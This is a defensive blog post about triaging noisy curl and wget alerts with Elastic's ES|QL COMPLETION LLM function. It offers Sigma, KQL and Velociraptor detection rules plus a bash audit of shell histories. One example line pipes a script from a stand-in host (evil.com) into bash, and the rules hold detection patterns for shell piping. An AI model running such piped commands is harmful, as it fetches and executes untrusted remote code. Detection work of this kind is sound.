High-Fidelity Cloud Detection: Using ES|QL COMPLETION to Triage Noisy Curl and Wget Events

Introduction

Every SOC analyst knows the pain: a detection rule fires for curl or wget usage, and the queue floods with alerts. In modern cloud environments, these tools are ubiquitous. Developers use them for health checks, container orchestration uses them for service discovery, and automated scripts use them for configuration updates. The signal-to-noise ratio is often so poor that analysts tune these rules out entirely—creating a blind spot that adversaries are all too happy to exploit.

Elastic InfoSec recently published their approach to solving this exact problem within their own cloud fleet. By leveraging the new ES|QL COMPLETION function, they combined deterministic logic with LLM triage to filter out the noise and surface only the genuine threats. This isn't just about reducing alert fatigue; it's about operationalizing detection engineering to catch adversaries who rely on the "living off the land" (LotL) blend of standard utilities for initial access and payload staging.

Technical Analysis

The Attack Vector

Adversaries frequently abuse curl and wget post-exploitation to:

Stage Payloads: Downloading second-stage binaries, webshells, or ransomware executables from C2 infrastructure.
Reverse Shells: Piping the output of a web request directly into bash or sh (curl http://evil.com/shell.sh | bash).
Data Exfiltration: Uploading sensitive data to external endpoints.

The ES|QL COMPLETION Advantage

Elastic's solution utilizes the ES|QL (Elasticsearch Query Language) COMPLETION function. This allows the detection logic to send the noisy event data (specifically the process command line) to an inference model (LLM) in real-time.

Deterministic Logic: Filters out known administrative paths and standard update processes.
LLM Triage: The model analyzes the intent of the command. It can distinguish between a package manager update and a suspicious obfuscated download to /tmp.

Affected Components

Platform: Cloud infrastructure (Linux/Unix environments).
Tools: curl, wget.
Detection Engine: Elasticsearch Security with ES|QL enabled.

This technique moves beyond simple signature matching (which is easily bypassed) into context-aware analysis. It effectively treats the SIEM as an analyst, performing a first-pass triage on the command line arguments before escalating to a human.

Detection & Response

While the ES|QL COMPLETION feature is a powerful tool for the Elastic stack, defenders must also have robust, high-fidelity rules in their environment (Sigma, Sentinel, etc.) that approximate this logic. We must focus on the behavioral aspects that differentiate malicious use from administrative noise.

Below are detection rules and queries designed to catch the high-risk behaviors (e.g., piping to shell, writing to hidden directories) that the LLM would flag.

SIGMA Rules

YAML

---
title: Suspicious Curl/Wget Execution with Shell Piping
id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential web shell or payload staging via curl/wget piped directly to shell.
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_img:
    Image|endswith:
      - '/curl'
      - '/wget'
  selection_pipe:
    CommandLine|contains:
      - '| sh'
      - '| bash'
      - '| ksh'
  condition: all of selection_*
falsepositives:
  - Admins running one-liners from documentation (verify user)
level: high
---
title: Curl/Wget Downloading to Suspicious Directories
id: 2b3c4d5e-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: experimental
description: Detects curl or wget writing payloads to hidden directories or /tmp.
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.initial_access
  - attack.t1190
logsource:
  category: process_creation
  product: linux
detection:
  selection_img:
    Image|endswith:
      - '/curl'
      - '/wget'
  selection_path:
    CommandLine|contains:
      - '/tmp/'
      - '/dev/shm/'
      - '/var/tmp/'
      - '/.cache/'
      - '/.config/'
  condition: all of selection_*
falsepositives:
  - Package manager updates
  - Legitimate application downloads
level: medium
---
title: Suspicious User-Agent Modification in Curl/Wget
id: 3c4d5e6f-7a8b-9c0d-1e2f-3a4b5c6d7e8f
status: experimental
description: Detects usage of curl or wget with custom User-Agent strings, often used to bypass detection or emulate scanning tools.
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.defense_evasion
  - attack.t1027
logsource:
  category: process_creation
  product: linux
detection:
  selection_img:
    Image|endswith:
      - '/curl'
      - '/wget'
  selection_ua:
    CommandLine|contains:
      - '-A '
      - '--user-agent'
  filter_benign:
    CommandLine|contains:
      - 'Mozilla'
      - 'curl/'
      - 'Wget/'
  condition: selection_img and selection_ua and not filter_benign
falsepositives:
  - Developers testing API endpoints
  - Legitimate monitoring scripts
level: low

KQL (Microsoft Sentinel / Defender)

KQL — Microsoft Sentinel / Defender

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("curl", "wget")
// Focus on shell piping or writing to common staging grounds
| where ProcessCommandLine has_any ("| sh", "| bash", "| ksh", "/tmp/", "/dev/shm/", "-o ")
| extend SuspiciousScore = iff(ProcessCommandLine has_any ("| sh", "| bash"), "Critical", "Warning")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, SuspiciousScore
| order by Timestamp desc

Velociraptor VQL

VQL — Velociraptor

-- Hunt for curl or wget processes writing to disk or piping to shell
SELECT Pid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE Name =~ "curl" OR Name =~ "wget"
  AND (CommandLine =~ "| sh" OR CommandLine =~ "| bash" OR CommandLine =~ "/tmp/")

Remediation Script (Bash)

While you cannot "patch" curl, you can audit the environment to identify instances of suspicious usage that may have bypassed detection.

Bash / Shell

#!/bin/bash
# Investigative script to audit recent curl/wget history for suspicious activity
AUDIT_USER_HOME="${1:-/home}"
echo "[+] Auditing recent curl and wget usage in $AUDIT_USER_HOME..."

for dir in "$AUDIT_USER_HOME"/*/; do
  user=$(basename "$dir")
  echo "[*] Checking history for user: $user"
  # Check .bash_history for curl/wget with suspicious flags
  if [ -f "$dir/.bash_history" ]; then
    grep -E "(curl|wget)" "$dir/.bash_history" | grep -E "( \| bash| \| sh| /tmp/| -A )" | tail -n 5
  fi
  # Check .zsh_history
  if [ -f "$dir/.zsh_history" ]; then
    grep -E "(curl|wget)" "$dir/.zsh_history" | grep -E "( \| bash| \| sh| /tmp/| -A )" | tail -n 5
  fi
done
echo "[+] Audit complete. Review findings manually."

Remediation

Since curl and wget are legitimate administrative tools, remediation focuses on containment and policy enforcement rather than removal.

Investigate Alert Context: If an alert fires (via ES|QL or the rules above), immediately check the destination IP/Domain. If it is a known good CDN (e.g., yum, apt, elastic.co), close the ticket. If it is an unknown IP or domain with low reputation, treat as a host compromise.
Quarantine Host: If the command involved piping to a shell (| bash) or downloading to /tmp, isolate the endpoint immediately.
Application Control: Implement strict allow-listing for curl and wget in production cloud environments. Only allow execution from specific service accounts or scripts.
Network Egress Controls: Limit outbound internet access from compute instances. Use firewall rules or VPC egress filters to prevent arbitrary connections to the internet, forcing traffic through inspected proxies.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub